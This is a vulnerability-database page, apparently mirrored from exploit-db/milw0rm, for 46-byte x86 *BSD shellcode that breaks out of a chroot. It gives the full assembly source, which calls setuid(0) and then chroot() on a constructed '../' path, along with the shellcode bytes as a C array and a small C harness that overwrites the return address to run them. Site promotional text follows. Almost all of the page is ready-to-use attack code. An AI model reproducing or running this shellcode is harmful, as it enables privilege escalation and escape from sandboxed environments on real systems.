Lucene search
K

linux/x86 break chroot 46 bytes

🗓️ 12 Sep 2004 00:00:00Reported by dev0idType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Shellcode for setuid and chroot, 46 bytes, targeting BSD systems using x86 architecture.

Code
/* The setuid(0)+chroot() shellcode
   it will put '../' 10 times
   Size  46 bytes
   OS	 *BSD
  		/rootteam/dev0id	(www.sysworld.net)
			[email protected] 

BITS	32

jmp short callme
main:
	pop	esi
	mov	edi,esi
	xor	ecx,ecx
	push	ecx
	mov	al,0x17
	push	eax
	int	0x80
	xor	eax,eax
	push	eax
	mov	cl,0x1e
	mov	al,0x2e
	repne   stosb
	pop	eax
	stosb
	mov	cl,0x1e
main_loop:
	dec	cl
	inc byte [esi+ecx]
	dec	cl
	loop	main_loop
	push 	esi
	mov	al,0x3d
	push	eax
	int	0x80
callme:
	call	main

*/
char shellcode[] =
	"\xeb\x27\x5e\x89\xf7\x31\xc9\x51\xb0\x17\x50\xcd\x80\x31\xc0"
	"\x50\xb1\x1e\xb0\x2e\xf2\xaa\x58\xaa\xb1\x1e\xfe\xc9\xfe\x04"
	"\x0e\xfe\xc9\xe2\xf7\x56\xb0\x3d\x50\xcd\x80\xe8\xd4\xff\xff"
	"\xff";

int
main(void)
{
	int *ret;
	ret = (int*)&ret + 2;
	(*ret) = shellcode;
}

// milw0rm.com [2004-09-12]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation